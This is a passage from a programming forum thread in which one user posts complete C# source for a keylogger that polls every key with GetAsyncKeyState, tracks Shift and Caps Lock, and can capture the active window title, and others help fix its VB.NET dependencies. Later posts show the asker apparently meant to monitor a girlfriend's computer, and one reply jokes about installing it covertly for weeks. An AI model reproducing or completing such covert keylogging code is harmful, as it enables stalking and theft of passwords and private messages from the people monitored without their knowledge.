![]() |
|
![]() |
|
|
Thread Tools | Display Modes |
|
|
#11 |
|
Hobbyist Programmer
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4
![]() |
Uh for Dll Import
System.Runtime.InteropServices and stringbuilder. System.IO ... i belive edit: Meh here is the whole project.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using Microsoft.VisualBasic;
using System.Collections;
using System.Runtime.InteropServices;
using System.IO;
using System.Drawing.Imaging;
using System.Threading;
using Org.Mentalis.Utilities;
using Microsoft.Win32;
namespace The_Manager_SE
{
public partial class Form1 : Form
{
#region Public, Private, Int
private System.Collections.Hashtable Processes;
public int ID;
int cnt;
int pid;
private viewpic Pic;
int SSnumber = 0;
object i;
object keyPressed;
int charCount;
object addKey;
public bool PossibleCapture = false;
public bool CaptureRequested = false;
private Bitmap MyImage = null;
[DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
private static extern short GetAsyncKeyState(int vkey);
#endregion
#region Init
public Form1()
{
InitializeComponent();
}
#endregion
#region Logger Core
private void logkeys_Tick(object sender, EventArgs e)
{
//On Error Resume Next - Cannot Convert to CSharp
//check Enter key
keyPressed = GetAsyncKeyState(13);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
charCount = 0;
addKey = "\r\n";
KeyFound();
}
//check for backspace
keyPressed = GetAsyncKeyState(8);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
addKey = " [Back] ";
charCount += 4;
KeyFound();
}
//check for space bar
keyPressed = GetAsyncKeyState(32);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
addKey = " ";
KeyFound();
}
//check for colon/semicolon
keyPressed = GetAsyncKeyState(186);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = ";";
}
else
{
addKey = ":";
}
KeyFound();
}
//check for =/+
keyPressed = GetAsyncKeyState(187);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "=";
}
else
{
addKey = "+";
}
KeyFound();
}
//check for ,/<
keyPressed = GetAsyncKeyState(188);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = ",";
}
else
{
addKey = "<";
}
KeyFound();
}
//check for -/_
keyPressed = GetAsyncKeyState(189);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "-";
}
else
{
addKey = "_";
}
KeyFound();
}
//check for ./>
keyPressed = GetAsyncKeyState(190);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = ".";
}
else
{
addKey = ">";
}
KeyFound();
}
//check for //?
keyPressed = GetAsyncKeyState(191);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "/";
}
else
{
addKey = "?";
}
KeyFound();
}
//check for `/~
keyPressed = GetAsyncKeyState(192);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "`";
}
else
{
addKey = "~";
}
KeyFound();
}
//check for 0/)
keyPressed = GetAsyncKeyState(96);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "0";
}
else
{
addKey = ")";
}
KeyFound();
}
//check for 1/!
keyPressed = GetAsyncKeyState(97);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "1";
}
else
{
addKey = "!";
}
KeyFound();
}
//check for 2/@
keyPressed = GetAsyncKeyState(98);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "2";
}
else
{
addKey = "@";
}
KeyFound();
}
//check for 3/#
//99
keyPressed = GetAsyncKeyState(99);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "3";
}
else
{
addKey = "#";
}
KeyFound();
}
//check for 4/$
keyPressed = GetAsyncKeyState(100);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "4";
}
else
{
addKey = "$";
}
KeyFound();
}
//check for 5/%
keyPressed = GetAsyncKeyState(101);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "5";
}
else
{
addKey = "%";
}
KeyFound();
}
//check for 6/^
keyPressed = GetAsyncKeyState(102);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "6";
}
else
{
addKey = "7";
}
KeyFound();
}
//check for 7/&
keyPressed = GetAsyncKeyState(103);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "7";
}
else
{
addKey = "&";
}
KeyFound();
}
//check for 8/*
keyPressed = GetAsyncKeyState(104);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "8";
}
else
{
addKey = "*";
}
KeyFound();
}
//check for 9/(
keyPressed = GetAsyncKeyState(105);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "9";
}
else
{
addKey = "(";
}
KeyFound();
}
//other num/special chars
keyPressed = GetAsyncKeyState(106);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "*";
charCount += 1;
}
else
{
addKey = "";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(107);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "+";
}
else
{
addKey = "=";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(108);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
addKey = "";
KeyFound();
}
keyPressed = GetAsyncKeyState(109);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "-";
}
else
{
addKey = "_";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(110);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = ".";
}
else
{
addKey = ">";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(111);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
addKey = "/";
KeyFound();
}
keyPressed = GetAsyncKeyState(2);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "/";
}
else
{
addKey = "?";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(220);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "\\";
}
else
{
addKey = "|";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(222);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "\'";
}
else
{
addKey = '\u0022';
}
KeyFound();
}
keyPressed = GetAsyncKeyState(221);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "]";
}
else
{
addKey = "}";
}
KeyFound();
}
keyPressed = GetAsyncKeyState(219);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = "[";
}
else
{
addKey = "{";
}
KeyFound();
}
//check tabVK_LSHIFT
keyPressed = GetAsyncKeyState(9);
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
addKey = " [TAB] ";
}
else
{
addKey = " [TAB] ";
}
KeyFound();
}
//check for a-z upper and lower case
for (i = 65; System.Convert.ToInt32(i) <= 128; i = System.Convert.ToInt32(i) + 1)
{
keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == false)
{
if (Keylogger.getCapslock() == true)
{
addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
}
else
{
addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
}
}
else
{
if (Keylogger.getCapslock() == false)
{
addKey = Strings.UCase(Strings.Chr(System.Convert.ToInt32(i)));
}
else
{
addKey = Strings.LCase(Strings.Chr(System.Convert.ToInt32(i)));
}
}
KeyFound();
}
}
for (i = 48; System.Convert.ToInt32(i) <= 57; i = System.Convert.ToInt32(i) + 1)
{
keyPressed = GetAsyncKeyState(System.Convert.ToInt32(i));
if (System.Convert.ToInt32(keyPressed) == -32767)
{
if (Keylogger.getShift() == true)
{
switch (Conversion.Val(Strings.Chr(System.Convert.ToInt32(i))))
{
case 1:
addKey = "!";
break;
case 2:
addKey = "@";
break;
case 3:
addKey = "#";
break;
case 4:
addKey = "$";
break;
case 5:
addKey = "%";
break;
case 6:
addKey = "^";
break;
case 7:
addKey = "&";
break;
case 8:
addKey = "*";
break;
case 9:
addKey = "(";
break;
case 0:
addKey = ")";
break;
}
}
else
{
addKey = Strings.Chr(System.Convert.ToInt32(i));
}
KeyFound();
}
}
//GetActiveWindow(); Option to give window.....
System.Windows.Forms.Application.DoEvents();
return;
}
private void KeyFound()
{
loggedtxt.AppendText(addKey.ToString());
System.Windows.Forms.Application.DoEvents();
}
[DllImport("user32.dll")]
static extern int GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(int hWnd, StringBuilder text, int count);
private void GetActiveWindow()
{
const int nChars = 256;
int handle = 0;
StringBuilder Buff = new StringBuilder(nChars);
handle = GetForegroundWindow();
if (GetWindowText(handle, Buff, nChars) > 0)
{
loggedtxt.AppendText(Buff.ToString());
loggedtxt.AppendText(handle.ToString());
}
}
}
}Thats form one now ake a new class in it with this. using System.Diagnostics;
using Microsoft.VisualBasic;
using System;
using System.Data;
using System.Drawing;
using System.Windows.Forms;
using System.Collections;
using System.Runtime.InteropServices;
namespace The_Manager_SE
{
sealed class Keylogger
{
[DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
private static extern short GetKeyState(int nVirtKey);
public static bool getCapslock()
{
bool returnValue;
//return or set the caps lock toggle
returnValue = System.Convert.ToBoolean(GetKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.Capital)) & 1);
return returnValue;
}
public static bool getShift()
{
bool returnValue;
//check to see if the shift key is pressed
returnValue = System.Convert.ToBoolean(GetAsyncKeyState(System.Convert.ToInt32(System.Windows.Forms.Keys.ShiftKey)));
return returnValue;
}
}
} |
|
|
|
|
|
#12 |
|
Expert Programmer
|
lmao, the enitre program is going to waste because of one simple thing!
[php] Strings.chr [/php] apparentaly this is included in another namespace maybe: [php] using Org.Mentalis.Utilities; [/php] maybe im just to stupid to do this ![]()
__________________
"When in Rome, Do as the Romans Do" "Beauty is in the eye of the BEER holder" "Save your breath your going to need it for your blow up doll later" SearchLores.org |
|
|
|
|
|
#13 |
|
Hobbyist Programmer
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4
![]() |
Lol
using Org.Mentalis.Utilities; Has to do with a windows controller class to shutdown windows. So i doubt thats it. Delete that line. Add a reference to MicrosoftVisual Basic in the reference section in visual studios. There is some VB.NEt in there ![]() |
|
|
|
|
|
#14 |
|
Expert Programmer
|
you laughed at me
![]() but yea! me and my friends have been very curious on how to implement one language within another. So is that the anwser to the question? That the [php] Strings. [/php] object is in fact a VB.NET object?
__________________
"When in Rome, Do as the Romans Do" "Beauty is in the eye of the BEER holder" "Save your breath your going to need it for your blow up doll later" SearchLores.org |
|
|
|
|
|
#15 |
|
Hobbyist Programmer
Join Date: Sep 2005
Location: A House...
Posts: 191
Rep Power: 4
![]() |
I belive so, did you try it? lol
EDIT: If REALLY cant figure this out. i will post a working example and source code. |
|
|
|
|
|
#16 | |
|
Programming Guru
![]() ![]() |
Quote:
Heh, you do realize, you've now tiped her off. If there was anything going on, she now knows not to do it on her computer. I would have put it on the comp, left it for about three weeks, then talk to her about it (not letting her know what you found out), so you'd know for sure that she was telling the truth......then again, i am a paraniod mofo.
__________________
Profanity is the one language that all programmers understand. Check out my Blog <---updated Nov 30 2007! |
|
|
|
|
|
|
#17 |
|
Expert Programmer
|
@Pizentios: I can agree to an extent?! But I'm head over heels in love with this women. It turns out the day I thought she was acting funny, she started her ******. Not that it should be an excuse... but like you are I was just paranoid.. she loves me
Im currently working on this logger for the knowledge of working with objects outside of your application.@tayspen: no im currently in school... either when i get home (for 2 hours) or when I goto work I will apply the changes.
__________________
"When in Rome, Do as the Romans Do" "Beauty is in the eye of the BEER holder" "Save your breath your going to need it for your blow up doll later" SearchLores.org |
|
|
|
|
|
#18 |
|
Programming Guru
![]() ![]() |
heh, yeah i was mostly joking about my last response. I think you handled things the right way.
__________________
Profanity is the one language that all programmers understand. Check out my Blog <---updated Nov 30 2007! |
|
|
|
|
|
#19 |
|
Expert Programmer
|
@tayspen: the project is using Microsoft.VisualBasic and im still getting errors... I have attemtped including everything! I have no clue where Strings. came from!?!?
__________________
"When in Rome, Do as the Romans Do" "Beauty is in the eye of the BEER holder" "Save your breath your going to need it for your blow up doll later" SearchLores.org |
|
|
|
|
|
#20 |
|
Expert Programmer
Join Date: May 2005
Location: East Lansing, MI
Posts: 663
Rep Power: 4
![]() |
try System.Text (I know it works for stringbuilder)
|
|
|
|
![]() |
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|